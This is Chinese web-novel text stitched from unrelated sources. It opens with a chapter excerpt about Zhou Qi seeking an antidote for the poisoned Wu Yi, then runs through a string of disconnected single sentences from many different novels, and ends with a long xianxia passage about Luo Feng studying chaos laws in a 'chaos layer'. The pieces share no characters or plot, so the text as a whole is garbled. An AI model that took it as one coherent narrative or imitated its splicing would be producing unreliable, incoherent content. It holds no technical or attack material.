钱万全也不是被人威胁的主,竟毫无惧意,说道:“五皇子,朗朗乾坤,国家还有法度!” “朝廷若是治罪,那也是后话,你也得问问你自己,能不能活着看见!” 钱万全气的全身发抖,钱宁见两人剑拔弩张,赶紧过来,“周大人,不知道大人要救的是什么人?竟能叫周大人如此紧张?我们钱记虽然不才,却愿效犬马之劳,只是大夫不是神仙,我爹他只是跟大人说清楚,万一力所不逮,耽误了病人,就不好了。” 周启见钱万全软硬不吃,只好与钱宁说道:“病人你也认识,是吴怡。” “吴怡?”钱宁瞪大了眼睛,“怎么会呢?怎么会是吴怡呢?” 在场的所有人都惊呆了,钱万全见钱宁紧张异常,赶紧叫小厮去请杨大夫。毕竟钱家废了九牛二虎之力才让钱宁放弃了吴怡,如今若是因为钱家阻拦,吴怡死了,钱宁岂不是又要魂不守舍?钱家之前的力气就白费了。 “我也去!”钱宁见周启带着杨大夫要走,大喊一声。 钱万全阻止道:“钱宁,你又不会看病,你去干什么?” “爹,我必须去看看,要不我不放心。” “不用了,我不会让吴怡死的。” 周启已然离去,钱宁被钱万全紧紧拽着,心如刀绞。 — 宋之和站在门口良久,终于知道是有人中毒,正在找解药,请大夫。 “你去,赶紧回去,看看张海被抄没的东西里有没有药方子,解药之类的。” 宋之和将师爷拉倒一旁,小声吩咐。 — 杨大夫被周启带回,一边号脉,一边皱眉。 “怎么样?” “唉,这毒凶猛,已经侵入五脏六腑,恐怕…” 周启心里凉了半截,“大夫,你一定要救救她呀,她才只有十八岁呀!” “唉,除非有现成的解药,否则,大罗神仙难救啊。” 第一百四十八章 繁花散落(下) - 风吹繁花散落时 - 红酒羊排 吴怡中毒,周启自爆身份带吴怡回徽州求医。 曾经救治李老四的大夫也已经回天乏术。 “唉,除非有现成的解药,否则,大罗神仙难救啊。” “现成的解药?”周启猛然想起,一个箭步冲到门口,“李博,李博!” 李博一拱手,“殿下。” “解药找到了吗?张海家里有没有解药。” 李博神色悲伤,摇了摇头。 泪水一下子填充了周启的双眼,他声音颤抖,“真的没有吗?你真的都找了?” “殿下。”站在一碰的宋之和抱拳施礼。 周启强忍悲痛,“何事?...... “这个地方很大,利用这段时间我大概做了一些了解,外围和贫民区混杂,部分区域被隔开。”林峰说。 “这话是什么意思?”聂婉箩通身一紧,所有神经像是被揪了起来。“我难道连这事都会不知道?”跟着像是跌进了万丈深渊,她的确不知道,她知道的只有后来十三年而已。而此前的十二年,她对自己并不了解。 “很能说明问题,你朋友只是过渡疲劳,没有任何重要伤痛,我们还有别的事情,你们准备好出院吧,费用已经缴纳完了。”赛方人员丢下了一句,便一齐离开了。 见到唐珊与安琪进来,陈义也是一阵尴尬,而百花仙子早就是满脸通红了。 秦政也忙附和:“是呀,刚巧我们订了个包间,就一起吧。”说后面这话时,秦政已完全无视陈语苓的眼色了。 俗话说的好,不打无把握之仗,秦阳早在来沙城之前,脑中就存集了大陆上所有天骄的资料,基本上不知道的很强,如果遇上不知道,不是废物就是绝世天骄,唯有两种可能。 数以万计的拳头飞向刘潇,刘潇毫不畏惧,心念一动虚空中就出现一道壁垒,直接把拳头挡住。 南宫璃在外面敲了敲门,秋雨铃回过神来,感觉了一下,发现是南宫璃,虽然她现在有些埋怨她,但是这件事的确不是她的错。 之前根据市场行情估计,这一百根金条送去拍卖,四百五十万差不多到头了。 到了发审局,将二人绳索解开,由亲兵连推带搡地押进公堂之上。 “怎么有些舍利子的佛光这么黯淡呢?”有一个菩萨轻咦了一声,脸上闪过一抹疑惑之色。 听到这些起哄声,原本就烦躁的段惊天更是暴怒不已,当场挥出惊天一刀。 面对着这种局面,江皓自然是乐得坐山观虎斗,每日里都在与六耳猕猴、猕猴王等人切磋武艺,将自己的修炼心得和对大道的感悟尽数教授给了他们。 “嘭!”一道巨响,秦凡的身形如遭雷击,硬生生的在地面之上拖出一道长长的血痕,直到撞在身后的墙上,这才止住了身形。 张子沐的表现,却与众人的反应大不相同,她虽然不相信,但也没有多说什么。 “对,就算是弄点珊瑚珍珠,也够我们吃上几年!”牛妖也在一旁点头应喝。 通天教主若是拼命,他无疑是受损最大的,就如同当初巫妖大战之时,共工撞倒不周山之事,不仅巫族因此气运大损,与它交战的妖族同样也要担起一部分因果来,可以说是两败俱伤。 高空中现出金翅大鹏法相的齐峰,看到这一幕,也是吓得脸露惊容,惊出一身冷汗。 此刻在大洞中间燃着一堆篝火,十来个汉子正围坐在篝火旁烧烤。 魔猿再也无法承受这股力量,身体一震,鲜血不断地从他口中喷吐而出。 “皇阿玛圣明。”康熙既有了定意,再添一句问,也不过就是听下头几人称旨的意思,倒不想这头一句应和,打胤祉这先说出来了。 起源大陆的时间流速很慢,空间也很稳定。罗峰追杀血云神君之时,燃烧神力施展刀法撕裂空间,那还只是空间最浅层。 混沌层,位于空间极深的一层。 想要靠自己遁入混沌层,大多混沌主宰都做不到。 最简单的方式,就是通过'混沌之墟'逆流而上,便可直达混沌层。 轰隆隆~~~ 无穷无尽混沌之力,一眼看不到尽头。 罗峰从虚空窟窿逆流而上时,初时,周围还很狭窄,可越是逆流飞行,越是宽 敞,直至彻底无边无际!罗峰也明白:这应该就是混沌层了。 如此浓郁的混沌之力,蔓延处处。罗峰环顾左右,只觉得混沌层仿佛是无边海洋,混沌之力则是海水!自己就是初入大海探索的打渔人。 虚衍母树树叶的确神奇。罗峰看了眼怀里携带的那一片树叶,对叶时刻散发着无形能力虚空波动,波动自然覆盖了罗峰。 这范围之内,混沌层丝毫不排斥罗峰。 这树叶随身携带,一纪左右时间便会彻底枯萎,时间够长了。罗峰还是很满足的,他仿佛好奇宝宝般,仔细观察着混沌层。 只见无穷无尽混沌之力荡漾,混沌层各处更有一段段混沌法则实质化显现,令混沌层越加绚烂。 这些随机显现的混沌法则,都不尽相同。罗峰看着,耀眼璀璨散发金光的混沌法则,犹如冰霜般的青白色混沌法则,甚至如银白色的混沌法则......混沌法则显现稍有变化,外在模样便有区别。 混沌,具有无限可能。 稍有转化可能呈现'混沌之金'、'混沌之火'、'混沌之雷霆'等各种表象。 一旦掌握混沌法则,是可以向任何一条本源大道前进的。 本质唯一,表象各异。罗峰想道,无数修行者,不管是修炼什么体系,悟出什么招数,最终都是通往混沌法则。 罗峰在周围缓慢飞行,观看周边随机显现的混沌法则实质化,细细参悟领会。 不同的显化,带给罗峰不一样的领悟。 就在罗峰细心领悟之时,忽然-- 一道火红流光从混沌气流中突然浮现,瞬间直奔罗峰。 嗯?罗峰一惊,瞬间燃烧神力,伸手一抓,已然抓住了那一道火红流光。 这火红流光在罗峰掌心扭曲挣扎着。 然而罗峰燃烧神力下,完美神体爆发的力道足以超越那些新晋的血脉修行体系的混沌境。当然那些混沌境若是修炼漫长岁月,各方面提升后,威势便不是罗峰所能比了。 此刻,仅仅抓个小家伙,罗峰还是很轻松的。 这是?罗峰观看着掌心,手中抓住的是一只火红虫子,表面甲壳如火红琉璃,看似非常小可挣扎力道却很强,足以媲美血蟒会的来魔副会长。 是混沌层生物?罗峰了解的情报中早就知道这一点,混沌层药盒无穷无尽混沌之力,自然也孕育出一些特殊生物。 这些生物智慧极低,纯粹凭本能行动,都无法进行交流。 师父在情报中记载,混沌层的生物,以混沌之力为食,纯粹依靠本能行动。它 们的身体,便蕴含或多或少的混沌法则。因为智慧太低,它们的的实力普遍在永恒境层次。能达到'混沌境'的无比罕见,都是身体结构非常特殊的,早就被起源大陆一些大势力给活捉了。罗峰看着掌心的这个火红色虫子,听说它一旦没法吞噬混沌之力,便会饿死,乃至身体彻底溃散回归天地。 饿死? 起源大陆即便是再弱小的修行者,都可以吞吸天地能量,都不可可能饿死。 但这些实力在'永恒境到混沌境'的混沌层生物,却必须以混沌之力为食,没吃 的,就会饿死,身体溃散回归天地。 整个混沌层根本找不到'混沌境实力'的混沌层生物,因为太珍贵,早被活捉 了。罗峰看着周围。 对他而言,混沌层很神奇。 可对于起源大陆最顶尖的一些存在们,扫一遍混沌层怕是轻轻松松的事,所以他们才会放任后辈弟子们来此修行,不担心遇到危险。 能够来混沌层的永恒真神,都是大势力培养的精英,各方面积累都很深厚,悟出几招混沌境招数都是最基本情况,实力普遍要达到雍将军、血云层次。 对他们而言,'混沌境实力'的混沌层生物被抓走后,剩下的即便比他们强些,可光凭本能行动的混沌层生物,也威胁不到他们安危。 啪。这個一直在掌心挣扎的虫子,罗峰略微一用力,便捏碎了它的身体。 身体碎裂成数十份,每一份依旧在挣扎要融合为一体。 生命力真顽强。罗峰观察着,神力渗透着破碎的部分,也能察觉到混沌法则的痕迹。 在混沌层内,混沌法则随时随地都可能实质化显现,每次显现名有不同。或许某一刻,便形成了一个小生物。这些混沌层生物,算是固态的混沌法则显化。罗峰想道。 扈阳城,城主府。 五大家族诸多永恒真神们汇聚,一同恭送王女'虞水天裕'。 殿下,罗河沿着混沌之墟,去了混沌层,还没回来。扈阳城主低声说道。 之前虞水天裕说第二天白天就出发离开,其实就是给罗峰机会!在她出发前,罗峰都可以找王女殿下。 可一旦她回到王都,禀报了父王!罗峰想要再吃回头草,想要再拜师就晚了!毕 竟虞国国主何等身份?给一次机会被拒绝了,岂会再给第二次机会? 虞水天裕轻轻摇头:看来,他是真的无心拜师了。他有如此实力,想必早有厉 害传承,可能就是某方大势力培养的弟子。 扈阳城主点头赞同。 在起源大陆上,拜多个师父是很正常的。弱小时可能拜永恒真神为师,强大后,拜混沌境乃至神王为师!这都是非常正常的。 罗峰不拜虞国国主为师,自然令他们有诸多猜测。 走了,你们不必再送。虞水天裕一挥手,一艘庞大舟船出现在高空,她当即率领着一众手下飞向那舟船。这些手下当中也包括黑屠夫以及弟子们。 黑屠夫这次一共带了九名弟子以及一些家眷仆从,毕竟将来跟随王女殿下,不可能每一餐都自己亲自做。一些普通客人,让弟子们做菜即可。 九名弟子,都是黑屠夫信任喜欢的,其中就包括索眦。 没想到,我要去王都了。索眦直到此刻都心潮起伏难以平静,之前夜里师父突然归来,立即召集了最看重的九大弟子问他们是否愿意一同去王都,还说是跟随王女殿下。 九大弟子都有些发蒙,但毫不犹豫,都选择愿意。 去王都!跟随王女殿下?他们岂会愿意错过? 索眦兄弟。 在远处来送行的,也有索云。 自从黑屠夫成为永恒真神,索云对待索眦便热情许多,此刻更是满含热泪送别兄弟。 索眦飞向飞舟,也看到下方送行的索云,微微点头。 不管彼此有什么隔阂,终究是部落中一起长大的兄弟,今后要彻底分别,怕是今生都很难相见。 索眦,我们要去王都了。 真没想到,我一个扈阳城底层的真神,跟随师父学厨艺后,先成成虚空真神,如今更是去王都。黑屠夫的其他弟子们也都激动无比。 这些弟子们有两位带了家眷,王女殿下已赐予黑屠夫一座洞府,住一些家眷仆从是很轻松的。 呼。 伴随着庞大飞舟穿梭时空,彻底消失在扈阳城上空,送别的群体才开始散去。 送行的索云默默看着这幕。 我想尽办法,甚至不惜性命抓住一切机会,依旧只是扈阳城一方黑暗势力'千山楼'的中层。而索眦只是一直跟着黑屠夫学厨艺一道,他就这么去王都了,还能跟随王女殿下。索云怎么都想不通彼此命运,差距为何会如此大? 真的,就是命吗? 混沌层内。 一天天过去,罗峰一心参悟着种种混沌法则显化,也碰到了不少混沌层生物的袭击,这些混沌层生物虽仅存本能,可个个攻击性十足。 罗峰也抓了不少混沌层生物,甚至分裂它们的身体仔细查看看,只是放手后,这些生物身体融合后便会吓得逃之夭夭。显然它们的本能,也知道惧怕。 这一天,罗峰一如既往细心观看混沌法则显化,参悟琢磨。 忽然- 一道银光从混沌气流中浮现,一闪犹如银色刀光掠过罗峰。 罗峰一如既往燃烧神力,伸手一抓!他看似简单一伸手,却也蕴含玄妙意境,那 蠢笨的一道银光根本躲避不了,被罗峰直接抓住。 嗯?罗峰只感觉右手掌心一疼,这一道银光已然窜出掌心到了远处停下。 罗峰惊讶看着掌心,自己的掌心竟然出现了一道血淋淋伤口,皮肤层肌肉层都被切开部分,鲜血淋漓。 竟然能伤我?这实力不亚于血云了吧。罗峰有些咋舌。(本章完)